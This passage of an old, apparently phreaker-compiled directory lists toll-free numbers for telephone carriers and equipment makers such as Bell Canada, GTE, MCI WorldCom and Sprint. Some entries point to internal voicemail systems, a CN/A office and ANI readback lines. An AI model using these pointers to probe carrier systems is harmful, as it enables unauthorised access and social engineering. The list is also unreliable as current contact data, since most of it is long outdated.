Bell Atlantic Mobile. +1-800-843-2255 Bell Atlantic Small Business Direct Response Center. +1-800-922-0204 Bell Atlantic Mobile. +1-800-934-2255 Bell Atlantic. +1-877-WITH-YOU Bell Atlantic Mobile Tele-Sales Department. +1-888-206-2355 Bell Atlantic. +1-888-208-2355 Bell Atlantic. +1-888-219-2355 Bell Atlantic. +1-888-221-2355 Bell Atlantic. +1-888-223-2355 Bell Atlantic. +1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID. +1-888-281-6279 Bell Atlantic Communications. +1-888-289-7309 Bell Atlantic Communications. +1-888-466-4646 Verizon Wireless. (Bell Atlantic, AirTouch and PrimeCo) +1-888-550-7095 Bell Atlantic Communications. +1-888-550-8178 Bell Atlantic Communications. +1-888-677-2355 Bell Atlantic View at One Support. +1-888-730-2355 Bell Atlantic. +1-888-741-2355 Bell Atlantic. +1-888-743-2355 Bell Atlantic. +1-888-745-2355 Bell Atlantic. +1-888-749-2355 Bell Atlantic. +1-888-751-2355 Bell Atlantic. +1-888-781-2355 Bell Atlantic. +1-888-782-2355 Bell Atlantic. +1-888-831-4947 Bell Atlantic Long Distance. +1-888-969-2355 Bell Atlantic. +1-888-983-2355 Bell Atlantic. +1-888-984-2355 Bell Atlantic. +1-888-985-2355 Bell Atlantic. +1-888-986-2355 Bell Atlantic. +1-888-988-2355 Bell Atlantic. +1-888-989-2355 Bell Atlantic. +1-888-990-2355 Bell Atlantic. +1-888-992-2355 Bell Atlantic. +1-888-993-2355 Bell Atlantic. +1-888-996-2355 Bell Atlantic. +1-888-997-2355 Bell Atlantic. + + +------------------------------------------------------------------------------- + BCE/Bell Canada/Stentor: +------------------------------------------------------------------------------- + +1-416-555-1313 Bell's local CN/A office for Toronto. +1-613-238-3103 Bell Canada Data Repair. (Ottawa Office) +310-1212 QuebecTel Customer Service Centre. +310-2355 Telephone Directory Ordering (free local directories) +310-BELL Bell Canada Customer Services. (toll free) +310-INTERNET Bell Sympatico. +310-SURF Bell Sympatico. +811 Northwestel Call Centre. (BC, NWT, Yukon) + +1-800-225-5180 Bell Canada Client Service Center. +1-800-227-7401 MTT Mpowered PC Member Services. +1-800-232-3227 Telcordia Technologies (Bellcore) FACS Customer Information Line. +1-800-238-8636 Bell Labs. +1-800-253-5011 Bell Mobility Paging. +1-800-256-2355 Bell Nexxia. (after hours OcTel VMB) +1-800-263-3899 Bell Mobility Customer Service. +1-800-263-7412 Bell Canada Millennium Help Line. +1-800-263-8394 Bell Mobility. +1-800-265-0123 Bell Mobility Ardis Division Sales. +1-800-265-3076 Telesat Satellite Network Operations Control. +1-800-265-5925 Bell Canada Business Repair. (Data & I.X. Voice Repair) +1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST) +1-800-267-0424 Bell Nexxia Customer Care. +1-800-267-1870 Telesat Canada. +1-800-267-2355 Bell Mobility Quebec. +1-800-267-5353 Tele-Direct Atlantic. +1-800-267-6511 IslandTel Special Needs Centre (Tdd) +1-800-267-6574 Bell Canada Datapac Customer Assistance Centre. +1-800-267-7002 Tele-Direct. +1-800-267-7640 Bell Canada's Ident-a-Call demonstration line. ("*" to enter VMS) +1-800-267-9502 Bell Canada. (Operator) +1-800-267-9556 Bell Canada. +1-800-268-1720 Bell Canada Multimedia. +1-800-268-2323 Bell ActiMedia. +1-800-268-2355 Bell Mobility Ottawa Office. +1-800-268-3550 Bell ActiMedia Internet Services. +1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories) +1-800-268-5933 Bell Canada Quickchange Department. +1-800-268-8531 Bell Repair. +1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send Faxes) +1-800-268-9107 Bell Canada Customer Care. +1-800-268-9160 Bell Canada Information Service Line. +1-800-270-2355 Business Consulting Group of Bell Canada. +1-800-323-6628 Bell Laboratories. +1-800-331-9948 Bell Canada Relay Service Customer Comment Line. +1-800-339-6359 BCE Investor Relations. (Montreal) +1-800-348-2226 IslandTel. +1-800-360-2373 Northern Telephone Service Center. +1-800-360-8555 Northern Telephone Limited. +1-800-361-0804 Telesat. +1-800-361-1423 Bell Canada (Dis)Advantage Conferencing. +1-800-361-3489 Bell Canada Customer Billing Center. +1-800-361-6010 Bell ActiMedia Yellow Pages. +1-800-361-7874 Bell Canada Millennium (Unknown) +1-800-361-8717 Bell Canada Professional Services. (Montreal) +1-800-361-9844 Bell Canada SmartTouch Information Line. (French) +1-800-363-2355 Bell Canada's Total Solution Center for Business. +1-800-363-3781 Bell Mobility Paging. +1-800-363-5001 Bell ActiMedia Yellow Pages. +1-800-363-6522 Stentor Calling Card Centre. +1-800-363-9612 Bell Technical Services. +1-800-387-4411 Bell Canada's Business Direct Marketing Centre. +1-800-387-4441 Bell Advantage Call Centre Solutions. (Telemarketing) +1-800-387-5072 Bell Mobility's Activation Department. +1-800-387-5185 Bell Phonecentre Information Line. +1-800-387-9571 Bell Mobility Radio. +1-800-387-9999 Bell Gardium Security Representative. +1-800-405-6486 Telecom Canada Ltd. +1-800-439-2355 Direct Bell. (Wireless Communications) +1-800-461-1156 Bell ActiMedia. +1-800-461-1747 Bell Canada Millennium (Voice Test) +1-800-461-1760 Bell Canada Millennium (Unknown) +1-800-461-1879 Bell Canada Millennium (Data Test) +1-800-461-2921 Bell Canada SmartTouch Information Line. +1-800-461-5711 Northern Telephone. +1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct) +1-800-461-9819 Northern Telephone Ltd. +1-800-463-4778 Bell Canada Professional Services. (Quebec City) +1-800-463-4833 Bell ActiMedia Yellow Pages. +1-800-463-5376 Bell CSR-Quebec (Quebec City) +1-800-465-2355 Bell Mobility. +1-800-465-6960 Bell ActiMedia. +1-800-470-2355 Bell Mobility. +1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center) +1-800-521-CORE Bellcore. +1-800-529-7371 MTT Data Service. (Repair) +1-800-555-1111 Bell LD. 3 way calling, calling card and many other features. +1-800-555-4999 Bell Canada Residential and Business Service. +1-800-561-0934 BCE Inquiry Line. +1-800-561-2355 Bell Mobility. (French) +1-800-561-4459 MBTel Internet. +1-800-561-6283 MBTel Customer Care Center. +1-800-561-8868 Stentor's Country Direct Information Line. +1-800-561-8888 Stentor's Calling Card Centre. +1-800-563-2900 NewTel Communications. +1-800-563-3794 Bell Mobility (Ottawa Office) +1-800-563-5150 NewTel Mobility. +1-800-563-5400 NewTel Communications. +1-800-563-7171 NewTel Communications. +1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel) +1-800-563-8700 NewTel Communications. +1-800-565-1290 Tele-Direct Atlantic. +1-800-565-1570 IslandTel Repair Service. +1-800-565-4287 IslandTel Business Inquiries. +1-800-565-4737 IslandTel Business Office. +1-800-565-4737 IslandTel. +1-800-565-6188 MTT Express. +1-800-565-6283 MBTel Customer Care Centre. +1-800-565-8884 MBTel Express. +1-800-565-CARD MTT Calling Card Services. +1-800-567-1811 Bell Electronic Business Solutions Information Center. +1-800-567-2448 Bell Canada Millennium (Test Line) +1-800-567-9633 Bell Canada. +1-800-574-2455 IslandTel. +1-800-583-3746 Bell Canada First Rate. +1-800-611-6500 Bell Mobility Cellular. +1-800-641-2311 Bell Canada Customer Service. (French - Press "2" for English) +1-800-665-1800 NBTel. +1-800-665-5614 MTT. +1-800-665-6000 NewTel Express. +1-800-667-0123 Bell Mobility's Automated Express Lane System. +1-800-667-6030 Bell Canada (French) +1-800-667-6283 NBTEL. +1-800-668-0911 BCE Mobile Communications Inc. +1-800-668-2355 Bell Canada. +1-800-668-4862 Bell Canada Millennium (Coin) +1-800-668-6851 Bell Canada Millennium (Alarm) +1-800-668-6878 Bell Direct. (U.S. and Canada) +1-800-668-8868 Stentor. (Cantonese and Mandarin) +1-800-668-9090 Bell Information Systems Repair Service. +1-800-668-9608 Bell Canada Switch Control Centre. +1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS) +1-800-668-9877 Telesat. +1-800-688-9811 MTT. +1-800-722-2121 MTT Sympatico. +1-800-724-4443 Bell Sympatico. +1-800-749-0764 Bell Canada Human Resources. +1-800-749-2538 Bell Canada. (Toronto Office) +1-800-749-3081 Bell Canada Office. +1-800-749-3085 Bell Canada Ontario Control Centre. +1-800-749-3279 Bell Canada Business Sales. +1-800-749-3743 Bell Canada. (Toronto Office) +1-800-749-3745 Bell Canada Ontario Control Centre. +1-800-749-4198 Bell Canada Ontario Control Centre. +1-800-749-4208 Bell Canada Ontario Control Centre. +1-800-749-9362 Bell Canada Ontario Control Centre. (Regional Manager) +1-800-749-9770 Bell Canada. (Toronto Office) +1-800-768-2220 Bell (VIC) Voice Interactive Communications System. +1-800-772-2141 Bell Canada Millennium (Setshop) +1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service) +1-800-776-4555 MTT Business Office. +1-800-789-9073 Bell Simple Connections. +1-800-803-0077 Bell QuickChange Cards Customer Service. +1-800-847-7303 Bell Minor Hockey Hotline. +1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service. +1-800-855-0511 Bell Canada Relay Service (BCRS) Operator. +1-800-862-6330 MTS (Manitoba Telephone System) +1-800-889-4672 Bell Canada Business. +1-800-889-4686 Bell Canada's Business Direct Marketing Centre. +1-800-931-3282 IslandTel Data Communications. +1-800-936-6245 IslandTel. (IslandTel Express="1") +1-800-938-4442 IslandTel Express. (reads back ANI) +1-800-957-9999 Bell Canada Long Distance. +1-800-984-2646 IslandTel Public Telephones. +1-800-995-8887 Bell ActiMedia Sales Department. +1-800-PRIVACY Bell Canada Call Privacy Service Demonstration/Order Line. +1-800-REWARDS Bell Canada Rewards. +1-877-202-3206 Bell Canada. (Chinese) +1-877-202-3207 Bell Canada. (Chinese) +1-877-202-3208 Bell Canada. (Chinese) +1-877-202-3209 Bell Canada. (Chinese) +1-877-241-6228 Bell Sympatico High Speed Edition Internet Service. +1-877-268-4273 Bell Gardium Sales Department. +1-877-2-ALIANT Aliant, Inc. +1-877-318-0859 Bell Sympatico. +1-877-327-9630 Bell Canada's Interactive Sympatico Ordering Service. +1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service. +1-877-499-1260 Bell Canada's SmartTouch Promotion Line. +1-877-499-1263 Bell Canada's SmartTouch Line. +1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call. +1-877-500-2688 Bell Canada's Interactive Sympatico Ordering Service. +1-877-500-2699 Bell Canada's Interactive Sympatico Ordering Service. +1-877-506-BELL Bell ExpressVu. +1-877-518-BELL Bell ExpressVu. +1-877-520-BELL Bell ExpressVu. +1-877-521-BELL Bell ExpressVu. +1-877-540-8222 Bell Canada's Interactive Sympatico Ordering Service. +1-877-595-0210 Bell ActiMedia. +1-877-652-4119 Bell's SmartTouch Promotion. +1-877-70-SPEED Bell Sympatico. +1-877-723-4400 Bell Mobility Totalcom. +1-877-811-6892 Bell Sympatico High Speed Edition. +1-877-811-6893 Bell Sympatico High Speed Edition. +1-877-811-6894 Bell Sympatico High Speed Edition. +1-877-828-8686 IslandTel Sales. +1-877-885-2424 Bell First Rate 24 Hour Enrollment Service. +1-877-90-SPEED Bell Sympatico. +1-877-91-SPEED Bell Sympatico. +1-877-92-SPEED Bell Sympatico. +1-877-99-SPEED Bell Sympatico. +1-877-999-2355 Bell Canada's Voice Response System. +1-877-AIT-3113 Aliant Investor Relations. +1-877-ALL-WKND Bell Mobility. +1-877-BELLCORE Telcordia Technologies. (formerly known as Bellcore) +1-877-BUNDLE-1 Bell Canada's Direct Marketing Centre. +1-877-FIRSTRATE Bell First Rate Interactive Information and Enrollment Service. +1-888-217-6533 Bell Mobility Pager. +1-888-217-6535 Bell Mobility Pager. +1-888-217-6538 Bell Mobility Pager. +1-888-217-6539 Bell Mobility Pager. +1-888-217-6540 Bell Mobility Service. +1-888-24-FIRST Bell First Rate Interactive Information and Enrollment Service. +1-888-242-2355 Bell (Spanish) +1-888-291-6799 Bell Mobility Order Desk. +1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service. +1-888-308-5640 Bell Mobility Paging. +1-888-333-4454 Bell Equipement D Imprimerie. +1-888-334-VALUE MTT. +1-888-368-9110 Northwestel Account Manager. +1-888-377-2355 Bell First Rate Interactive Information and Enrollment Service. +1-888-378-2355 Bell Canada's Ontario Direct Marketing Center. +1-888-386-5555 Stentor Communications Production Fund. +1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL) +1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular. +1-888-423-2333 Northwestel Business Support Centre. +1-888-433-0317 Bell Sympatico. +1-888-442-0222 Bell Mobility Accounts Receivable. +1-888-457-7308 Bell Mobility Order Desk. +1-888-457-7309 Bell Mobility. +1-888-457-7310 Bell Mobility. +1-888-490-3001 Tele-Direct Atlantic. +1-888-502-2222 Bell Canada. (Chinese/Vietnamese?) +1-888-505-2222 Bell Canada. (Chinese/Vietnamese?) +1-888-506-2222 Bell Canada. (Italian) +1-888-512-2222 Bell Canada. (Chinese/Vietnamese?) +1-888-513-2222 Bell Canada East and South Asian Hotline. +1-888-515-2222 Bell Canada East and South Asian Hotline. +1-888-519-2222 Bell Canada East and South Asian Hotline. +1-888-521-2222 Bell Canada Operator. +1-888-527-2222 Bell Canada's Direct Marketing Centre. +1-888-531-2222 Bell Canada Operator. +1-888-532-2222 Bell Canada's Direct Marketing Centre. +1-888-538-2222 Bell Canada's Direct Marketing Centre. +1-888-542-3784 Bell Mobility Out of the Box Program. +1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility. +1-888-739-2737 (1-888-REWARDS) Bell Total Rewards. +1-888-788-2355 Bell Canada Business Consulting Group. +1-888-794-0777 Stentor Canadian Network Management. +1-888-796-1825 Bell (Dis)Advantage Internet Solutions. +1-888-865-2239 Bell Mobility Pager. +1-888-904-2355 Bell First Rate Interactive Information and Enrollment Service. +1-888-932-6666 BCE Corp. Communications. +1-888-DIRECPC Telesat Canada's Direct PC Customer Care Centre. + + +------------------------------------------------------------------------------- + BellSouth: +------------------------------------------------------------------------------- + +1-800-237-6432 BellSouth Advertising and Publishing. +1-800-285-2355 BellSouth. +1-800-419-2355 BellSouth. (Spanish) +1-800-436-8638 BellSouth Internet Home. (U.S. only) +1-800-451-6549 BellSouth Customer Service. +1-800-541-1229 BellSouth Financial Services. +1-800-639-2455 BellSouth Billing Services. +1-800-733-2355 BellSouth Phones. +1-800-753-0223 BellSouth Order Line. +1-800-767-2355 BellSouth Automated Billing Services. +1-800-775-2355 BellSouth Phones. +1-800-831-4323 BellSouth. +1-800-832-6338 BellSouth Memory Call Service. +1-800-842-1558 BellSouth Benefits Service Center. +1-800-858-9413 BellSouth ISDN order line. +1-800-925-0010 BellSouth Communications Systems. +1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only) +1-800-925-2525 BellSouth Business. +1-800-962-3387 BellSouth Advertising and Publishing. +1-800-995-9999 BellSouth Phones. +1-800-BELL-SOUTH Collect, Calling Card and Credit Card calls. +1-877-TELEFONE BellSouth. +1-888-201-2355 BellSouth Benefit Enrollment System. +1-888-203-2355 BellSouth. +1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department. +1-888-383-2355 BellSouth Cellular Fraud Prevention Center. +1-888-462-8033 BellSouth COCOT Repair. +1-888-543-2355 BellSouth Internet Business. +1-888-837-1668 BellSouth Telecom Rental Services. + + +------------------------------------------------------------------------------- + Cellular One: +------------------------------------------------------------------------------- + +1-800-369-2355 Cellular One. +1-800-381-2355 Cellular One. +1-800-487-2355 Cellular One Customer Service. +1-800-514-2355 Cellular One's Welcome line. +1-800-567-2355 Cellular One. +1-800-604-2355 Cellular One. +1-800-670-2355 Communication One (authorized agent of Cellular One) +1-800-CELL-ONE Cellular One. (U.S. only) +1-877-CELLFONE Cellular One's Voicemail Help line. +1-888-345-2355 Cellular One Dispatch. +1-888-522-2355 Cellular One. +1-888-562-2355 Cellular One's Job Hotline. +1-888-681-2355 Cellular One. +1-888-CELLPHONE Cellular One. +1-888-CELLULAR Cellular One Sales Office. + + +------------------------------------------------------------------------------- + GTE: +------------------------------------------------------------------------------- + +1-800-225-5160 GTE Corporation Teleservicing System. +1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance. +1-800-272-3466 GTE Internetworking. +1-800-346-5800 GTE Business Sales Center. +1-800-347-5665 GTE Express. (Cellular) +1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only) +1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line. +1-800-366-5665 GTE Express. (Cellular) +1-800-413-4233 GTE Education Assistance Program. +1-800-428-8722 GTE Superpages Internet Services. +1-800-445-5288 GTE Business Sales Center. +1-800-445-5586 GTE Conference Connections Billing Department. +1-800-445-7920 GTE Airfone. +1-800-448-3795 GTE. +1-800-472-4565 GTE Internetworking. (U.S. only) +1-800-483-1000 (1-800-GTE-1000) GTE Repair Center. +1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services. +1-800-483-3000 GTE Billing Center. +1-800-483-3600 GTE North Customer Billing Center. +1-800-483-4000 GTE California Customer Service Ordering Center. +1-800-483-4839 GTE Business Response Center. +1-800-483-5000 GTE California Business Sales Center. +1-800-483-5288 GTE Headquarters in Irving, TX. +1-800-483-5400 GTE Business Sales Center. +1-800-483-5559 GTE. +1-800-483-5781 GTE Wireless. +1-800-483-7243 (1-800-GTE-PAGE) GTE Paging. +1-800-483-7479 GTE Hawaiian Tel's Business Sales Center. +1-800-483-8494 GTE Long Distance. +1-800-527-2558 GTE Business Response Center. +1-800-643-0997 GTE Bank Card Center. +1-800-670-9320 GTE Paging. +1-800-727-2355 GTE Wireless. +1-800-787-9689 GTE Customer Service. +1-800-826-1311 GTE Billing Center. +1-800-877-5665 GTE Express. (Cellular) +1-800-888-8448 GTE Directory Order Center. +1-800-892-9600 GTE. +1-800-927-3000 GTE Internet. +1-800-AIRFONE GTE Airfone. +1-877-205-7743 GTE National Support Center. +1-888-483-0022 GTE Government Systems. +1-888-483-4555 GTE Internet. +1-888-681-3279 GTE Airfone. (call aircraft while they're in-flight) +1-888-AIRFONE GTE Airfone. + + +------------------------------------------------------------------------------- + Lucent Technologies: +------------------------------------------------------------------------------- + +1-800-222-3111 Lucent Technologies. (St Louis, MO) +1-800-222-6111 Lucent Technologies Consumer Products. +1-800-228-1938 Lucent Technologies Calibration and Repair Services. +1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.) +1-800-289-0609 Lucent Technologies National Customer Care Center. +1-800-322-2016 Lucent Technologies National Customer Care Center. +1-800-342-5677 Lucent Technologies Technical Services Organization. +1-800-344-0223 Lucent Technologies Inside Sales Department at the CRC. +1-800-387-4268 Lucent Technologies. +1-800-4-LUCENT Lucent Technologies. +1-800-451-2100 Lucent Technologies Cincinnati Customer Care Center. +1-800-457-1235 Lucent Technologies BCS Publications Center. +1-800-628-2888 Lucent Technologies National Customer Care Center. +1-800-643-2353 Lucent Technologies National Customer Care Center. +1-800-811-1802 Lucent Technologies Special Customer Operations. +1-800-821-8204 Lucent Technologies Multi-Media Applications Customer Support. +1-800-822-2000 Lucent Technologies. +1-800-852-0246 Lucent Technologies. +1-877-4-LUCENT Lucent Technologies. +1-888-4-LUCENT Lucent Technologies Canada. +1-888-LUCENT-6 Lucent Technologies Shareholder Services. +1-888-LUCENT-8 Lucent Technologies. + + +------------------------------------------------------------------------------- + MCI WorldCom: +------------------------------------------------------------------------------- + +1-800-225-5888 MCI WorldCom Operator Services. +1-800-254-8991 MCI WorldCom Customer Service. (U.S. only) +1-800-264-1000 MCI WorldCom Customer Service. +1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls. +1-800-267-7320 Network MCI. +1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN") +1-800-275-0200 MCI WorldCom Residential/Business Customer Service. +1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls. +1-800-294-3496 MCI WorldCom. +1-800-333-1000 MCI WorldCom Commercial Customer Service. +1-800-333-2000 MCI WorldCom. +1-800-333-5000 MCI WorldCom Residential Service. +1-800-336-0149 MCI WorldCom Worldwide Customer Care and Global Product Support. +1-800-374-6400 MCI WorldCom Local Customer Service. +1-800-401-9997 MCI WorldCom. +1-800-432-4557 MCI WorldCom Account Services. (U.S. only) +1-800-444-1111 MCI WorldCom's Global Technical Service Center. +1-800-444-3333 MCI WorldCom Customer Service. (U.S. only) +1-800-444-4444 MCI WorldCom. +1-800-444-6242 MCI. +1-800-444-6245 MCI Mail Messaging and Technical Support. +1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office. +1-800-451-7220 MCI WorldCom. +1-800-455-1605 Network MCI System. +1-800-455-2957 Network MCI System. +1-800-455-4215 Network MCI System. +1-800-455-5469 Network MCI System. +1-800-455-6084 Network MCI Interactive Paging Service. +1-800-455-6504 Network MCI System. +1-800-455-6513 Network MCI System. +1-800-455-6780 Network MCI System. +1-800-455-6834 Network MCI System. +1-800-455-7806 Network MCI System. +1-800-455-7854 Network MCI System. +1-800-455-7920 Network MCI System. +1-800-456-0253 MCI WorldCom. +1-800-475-0138 MCI WorldCom. +1-800-475-5628 MCI WorldCom Paging System. +1-800-475-9321 MCI WorldCom. +1-800-483-4929 Network MCI System. +1-800-483-8784 Network MCI System. +1-800-539-2000 MCI WorldCom Business Services. +1-800-554-5778 MCI WorldCom Prepaid Cellular. +1-800-555-4668 Network MCI System. +1-800-627-2355 MCI WorldCom Administrative Offices. +1-800-637-2255 MCI WorldCom. +1-800-644-NEWS MCI WorldCom Public Relations. +1-800-645-2355 MCI WorldCom. +1-800-666-1904 MCI WorldCom. (U.S. only) +1-800-666-2612 MCI WorldCom Small Business Department. +1-800-666-2613 MCI WorldCom. +1-800-674-2355 MCI WorldCom (calling card calls) +1-800-688-4889 MCI National Relay Service in the U.S. (TTY) +1-800-701-9358 MCI WorldCom. (U.S. only) +1-800-701-9360 MCI WorldCom. (U.S. only) +1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System. +1-800-727-5555 MCI Small Business Accounts. (U.S. only) +1-800-749-0800 MCI WorldCom. +1-800-749-9600 MCI WorldCom. +1-800-827-4690 MCI WorldCom Paging System. +1-800-827-4750 MCI WorldCom Paging System. +1-800-827-9983 MCI WorldCom Corporate Accounts. +1-800-827-9987 MCI WorldCom Corporate Accounts. +1-800-864-4060 MCI WorldCom Wholesale Services. +1-800-872-7654 MCI WorldCom's EDI Group. +1-800-876-8581 Network MCI. +1-800-877-8000 MCI Operator. +1-800-877-9320 Network MCI. +1-800-888-8000 MCI WorldCom automated calling card calls. +1-800-909-3175 MCI WorldCom Pre-paid Card System +1-800-909-3180 MCI WorldCom Pre-paid Card System +1-800-909-3197 MCI. (Spanish) +1-800-938-6374 MCI WorldCom Customer Service. +1-800-944-0700 MCI WorldCom Wireless. +1-800-947-8642 MCI National Relay Service in the U.S. (voice) +1-800-950-1022 MCI WorldCom Customer Service. +1-800-950-5555 MCI WorldCom. +1-800-999-7700 MCI WorldCom. +1-800-COLLECT MCI WorldCom automated collect calls. +1-800-EVERYDAY MCI WorldCom. +1-800-MCI-LOCAL MCI WorldCom Local Customer Service. +1-800-SUNDAYS MCI WorldCom. +1-800-WORLDCOM WorldCom. +1-888-575-2355 MCI WorldCom. +1-888-624-2355 MCI WorldCom. +1-888-624-9266 MCI WorldCom Sales Office. +1-888-655-2355 Network MCI Contact. +1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System. + + +------------------------------------------------------------------------------- + MT&T: +------------------------------------------------------------------------------- + +1-800-422-5978 MT&T Mobility. +1-800-461-5533 MT&T Billing, Accounts and Repairs. +1-800-561-6364 MT&T Data Services. +1-800-565-1881 MT&T Business Customer Service Centre. +1-800-565-4003 MT&T. +1-800-565-4800 MT&T. +1-800-565-5065 MT&T Residence Telemarketing. +1-800-565-7102 MT&T. +1-800-626-5552 MT&T Data Communications Sales and Repairs. + + +------------------------------------------------------------------------------- + Nortel Networks: +------------------------------------------------------------------------------- + +1-800-328-6760 Nortel Networks (Minnetonka, MN) +1-800-461-3196 Nortel Networks (Milton, ON) +1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom) +1-800-638-9302 Nortel Networks Customer Care Center. +1-800-665-2827 Nortel Networks Customer Technical Services After Hours Support. +1-800-668-1717 Nortel Networks Global Customer Care Center. +1-800-668-5511 Nortel Networks Customer Repair and Return Services. +1-800-684-2255 Nortel's Meridian Home Office Support/Info. +1-800-684-9996 Nortel Networks Software Applications Status Line. +1-800-833-7477 Nortel Networks. +1-800-896-8944 Nortel Networks. (Fax) +1-800-NORTEL-1 Nortel Networks Information Line for Resellers. +1-877-4-NORTEL Nortel Networks. +1-888-4-NORTEL Nortel Networks VMS. + + +------------------------------------------------------------------------------- + Pacific Bell: +------------------------------------------------------------------------------- + +1-800-228-7102 Pacific Bell Smart Yellow Pages. +1-800-241-3000 Pacific Bell Quickservice. (U.S. Only) +1-800-248-2800 Pacific Bell Smart Yellow Pages. +1-800-286-8111 Pacific Bell Spanish Yellow Pages. +1-800-310-BELL Pacific Bell. (U.S. Only) +1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only) +1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only) +1-800-528-0000 Pacific Bell Business Products. (U.S. Only) +1-800-750-2355 Pacific Bell Customer Service. (U.S. Only) +1-800-782-8353 Pacific Bell (to report any payphone crimes) +1-800-848-8000 Pacific Bell Directory Smart Resource Center. +1-800-933-2355 Fulfillment plus. (Pacific Bell authorized agent) +1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only) +1-888-755-2355 Pacific Bell Equipment. +1-888-775-2355 Pacific Bell Equipment. + + +------------------------------------------------------------------------------- + Qwest: +------------------------------------------------------------------------------- + +1-800-256-1410 Qwest Communications News Bureau. +1-800-460-1111 Qwest Customer Service. +1-800-460-2222 Qwest. +1-800-460-3333 Qwest. +1-800-524-5249 Qwest Communications Customer Service. +1-800-524-7258 Qwest Communications. +1-800-567-7296 Qwest Communications Investor Relations. +1-800-600-9196 Qwest Communications VMS. +1-800-860-2255 Qwest Communications. +1-800-899-7780 Qwest Communications. +1-800-968-1287 Qwest Communications. +1-800-968-3986 Qwest Communications. +1-800-RIDEQWEST Qwest. +1-877-877-7978 Qwest Shareholder Communication Service. +1-888-452-6200 Qwest. +1-888-793-7811 Qwest Communications Career Line. (Job Listings) + + +------------------------------------------------------------------------------- + SaskTel: +------------------------------------------------------------------------------- + +1-800-667-BELL SaskTel Mobility. +1-800-667-3500 SaskTel Business Solutions. +1-800-667-5801 SaskTel International Head Office. +1-800-667-6840 SaskTel Mobility Customer Service. +1-800-667-6870 SaskTel Mobility Technical Support/Repair. +1-800-727-5835 SaskTel Residential Customer Care Centre. +1-800-871-3011 SaskTel Satellite Service. +1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service. +1-800-975-1969 SaskTel. +1-800-SASKTEL SaskTel Billing and Inquiries. +1-888-226-7788 SaskTel Business Customer Care Centre. + + +------------------------------------------------------------------------------- + Southwestern Bell: +------------------------------------------------------------------------------- + +1-800-225-5792 (1-800-CALL-SWB) SBC Wireless National Services. +1-800-351-7221 SBC Shareowner Services. +1-800-438-5678 Southwestern Bell Lost/Stolen Calling Cards. +1-800-441-1267 Southwestern Bell Yellow Pages. +1-800-443-6200 Southwestern Bell Yellow Pages. +1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator. +1-800-479-2977 Southwestern Bell Yellow Pages. +1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services. +1-800-528-BELL Southwestern Bell Yellow Pages Business Office. +1-800-600-BELL Southwestern Bell (calling card/collect calls) +1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source. +1-800-792-4638 (1-800-SWB-INET) Southwestern Bell Internet Services. +1-800-909-3285 Southwestern Bell Wireless. +1-888-455-2355 Southwestern Bell Long Distance. +1-888-544-8847 Southwestern Bell Quick Service. +1-888-792-3751 Southwestern Bell DSL Service. +1-915-683-9145 Southwestern Bell Employee Locator (Automated) + + +------------------------------------------------------------------------------- + Sprint: +------------------------------------------------------------------------------- + +1-800-210-2273 Sprint Long Distance. +1-800-213-5430 Sprint. +1-800-215-8037 Sprint Solutions Center. +1-800-227-9892 Sprint. +1-800-256-8340 Sprint Canada. +1-800-277-7468 Sprint Phone Card and Collect calls. +1-800-308-MOST Sprint Canada. +1-800-322-3090 Sprint BusinessFlex. +1-800-336-MOST Sprint Canada. +1-800-344-9667 Sprint. +1-800-344-9679 Sprint "Nickel Nights" +1-800-344-9690 Sprint "Nickel Nights" +1-800-348-MOST Sprint Canada. +1-800-349-MOST Sprint Canada. +1-800-359-2255 Sprint Voice Phone Card. +1-800-361-9342 Sprint Canada Customer Service. (French) +1-800-366-0707 Sprint Pre-Paid Card Customer Service. +1-800-366-2255 Sprint automated LD calling (U.S. and Canada) +1-800-370-MOST Sprint Canada. +1-800-455-4602 Sprint PCS. +1-800-456-9711 Sprint Canada Customer Service. +1-800-459-MOST Sprint Canada. +1-800-465-3193 Sprint Canada Customer Service. (English) +1-800-467-7746 Sprint. +1-800-469-MOST Sprint Canada. +1-800-470-MOST Sprint Canada. +1-800-471-MOST Sprint Canada. +1-800-474-MOST Sprint Canada. +1-800-475-7110 Sprint Canada. +1-800-480-4727 (1-800-480-4PCS) Sprint PCS. +1-800-483-MOST Sprint Canada. +1-800-485-4493 Sprint Canada. (Fax) +1-800-496-MOST Sprint Canada. +1-800-505-MOST Sprint Canada. +1-800-506-8268 Sprint Canada. +1-800-511-2041 EarthLink Sprint/Mindspring Internet Services. +1-800-515-MOST Sprint Canada "It's Easy home800" +1-800-516-MOST Sprint Canada. 